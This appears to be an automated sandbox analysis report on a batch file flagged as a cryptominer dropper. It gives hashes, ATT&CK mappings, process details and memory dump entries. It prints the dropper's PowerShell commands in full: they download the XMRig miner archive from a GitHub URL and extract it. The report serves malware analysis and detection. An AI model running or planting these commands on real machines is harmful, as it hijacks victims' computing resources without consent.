c0768ace239b9f133dfbb33d830ff9bf0580b167e2a6b0f015950f7aa2b1f768

Analysis

max time kernel
118s
max time network
118s
platform
windows7_x64
resource
win7-20240419-en
resource tags

arch:x64arch:x86image:win7-20240419-enlocale:en-usos:windows7-x64system
submitted
22-05-2024 02:54

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General

Target

8.bat
Size

599B
MD5

798b979417aa88e5323ead9be2d8425c
SHA1

a54c5133c71afddf697f302b36bdb930c72852ce
SHA256

f83d724987f9f4a0843c0b0abd01f3f5ceccbc8e7babad76c2639e1bef2fee07
SHA512

a4f2ff598bc26b5ee7778b34b34aafd20e43f714c5f841b9fe73cdc6e1c3e47e44ffb94ff06ccd7dd263116201ff6754c956c1ea8f588acf6927f35446b5036b

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-msvc-win64.zip

Signatures

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

5 1856 powershell.exe
6 1856 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

1856 powershell.exe
2756 powershell.exe
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exepowershell.exe

pid process

1856 powershell.exe
2756 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 1856 powershell.exe
Token: SeDebugPrivilege 2756 powershell.exe

flow	pid	process
5	1856	powershell.exe
6	1856	powershell.exe

pid	process
1856	powershell.exe
2756	powershell.exe

pid	process
1856	powershell.exe
2756	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1856	powershell.exe
Token: SeDebugPrivilege	2756	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 1824 wrote to memory of 1856	1824	cmd.exe	powershell.exe
PID 1824 wrote to memory of 1856	1824	cmd.exe	powershell.exe
PID 1824 wrote to memory of 1856	1824	cmd.exe	powershell.exe
PID 1824 wrote to memory of 2756	1824	cmd.exe	powershell.exe
PID 1824 wrote to memory of 2756	1824	cmd.exe	powershell.exe
PID 1824 wrote to memory of 2756	1824	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\8.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1824

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-msvc-win64.zip', 'xmrig-6.21.3-msvc-win64.zip')"
2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1856

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -command "Expand-Archive -Path 'xmrig-6.21.3-msvc-win64.zip' -DestinationPath '.'"
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2756

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize
7KB

MD5
39f1c5187ccfd9694651d9778979193b

SHA1
4f34b2c85999125944985036d80f3ac3983810c7

SHA256
c99a8b85fab1588bf0c9d3ee90fd9cb284a44a69fd977799bfb70c5984c88490

SHA512
ce76f797084b782212f32e173b8bc8fd602f235c1147820ba9bcb731c6f406a7df56a059330e0b37c028ce01d9b5a0a8c25cca2a006547b74687394d8f34bd07

Download Submit
memory/1856-4-0x000007FEF58FE000-0x000007FEF58FF000-memory.dmp

Filesize
4KB

Download
memory/1856-7-0x000007FEF5640000-0x000007FEF5FDD000-memory.dmp

Filesize
9.6MB

Download
memory/1856-6-0x0000000002960000-0x0000000002968000-memory.dmp

Filesize
32KB

Download
memory/1856-8-0x000007FEF5640000-0x000007FEF5FDD000-memory.dmp

Filesize
9.6MB

Download
memory/1856-5-0x000000001B520000-0x000000001B802000-memory.dmp

Filesize
2.9MB

Download
memory/1856-9-0x000007FEF5640000-0x000007FEF5FDD000-memory.dmp

Filesize
9.6MB

Download
memory/1856-10-0x000007FEF5640000-0x000007FEF5FDD000-memory.dmp

Filesize
9.6MB

Download
memory/2756-16-0x000000001B7A0000-0x000000001BA82000-memory.dmp

Filesize
2.9MB

Download
memory/2756-17-0x0000000001D10000-0x0000000001D18000-memory.dmp

Filesize
32KB

Download